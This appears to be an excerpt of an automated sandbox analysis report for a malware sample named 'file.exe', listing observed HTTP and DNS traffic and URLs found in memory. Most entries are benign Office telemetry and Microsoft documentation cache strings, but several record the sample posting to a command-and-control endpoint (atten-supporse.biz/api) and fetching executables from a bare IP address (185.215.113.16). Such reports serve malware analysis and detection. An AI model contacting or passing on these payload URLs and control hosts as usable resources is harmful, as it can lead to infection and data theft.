Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: file.exe, 00000000.00000002.1851237003.00000000009B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1784945117.00000000009BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.1850746722.000000000075A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeAppleWebKit/537.36
Source: file.exe, 00000000.00000002.1851237003.00000000009B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1784945117.00000000009BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.1457859487.00000000056D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1457859487.00000000056D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1457859487.00000000056D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1457859487.00000000056D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1457859487.00000000056D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1457859487.00000000056D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1457859487.00000000056D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1457859487.00000000056D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1457859487.00000000056D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_109.12.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.1457859487.00000000056D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1457859487.00000000056D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1374553730.00000000056BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1378373236.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_109.12.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_109.12.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: file.exe, 00000000.00000003.1416938967.00000000009B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502676265.00000000009B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1379023595.00000000009B0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502179262.00000000009B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1784945117.00000000009BC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502791189.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502770236.00000000009B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1416860077.00000000009B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502216515.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1785200524.0000000000943000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1374007611.00000000009B0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1458943554.00000000009B0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502676265.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1417413479.00000000009AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1457219497.00000000009B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: file.exe, 00000000.00000003.1379023595.00000000009B0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1374007611.00000000009B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz//
Source: file.exe, 00000000.00000002.1851237003.00000000008EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/Ma
Source: file.exe, 00000000.00000003.1416860077.00000000009B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1417413479.00000000009AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/_
Source: file.exe, 00000000.00000003.1417413479.00000000009AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: file.exe, 00000000.00000003.1416860077.00000000009B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apil
Source: file.exe, 00000000.00000003.1457195081.00000000009B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apio
Source: file.exe, 00000000.00000003.1457195081.00000000009B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiq4
Source: file.exe, 00000000.00000003.1458943554.00000000009B0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1457219497.00000000009B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/g
Source: file.exe, 00000000.00000003.1556075655.00000000009B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/w
Source: file.exe, 00000000.00000003.1502179262.00000000009B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/api
Source: chromecache_109.12.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_109.12.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.1458943554.00000000009B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000003.1502791189.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502216515.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502676265.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: file.exe, 00000000.00000003.1374553730.00000000056BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1378373236.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1374553730.00000000056BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1378373236.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1374553730.00000000056BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1378373236.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.1458943554.00000000009B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000003.1502791189.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502216515.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502676265.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1374553730.00000000056BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1378373236.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1374553730.00000000056BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1378373236.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1374553730.00000000056BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1378373236.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_109.12.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_109.12.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_109.12.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_109.12.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_109.12.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_109.12.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_109.12.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_109.12.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_109.12.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_109.12.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.1502791189.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502216515.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502676265.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIF
Source: file.exe, 00000000.00000003.1458943554.00000000009B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: chromecache_109.12.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_101.12.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.1458600410.00000000057AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1458600410.00000000057AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_101.12.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
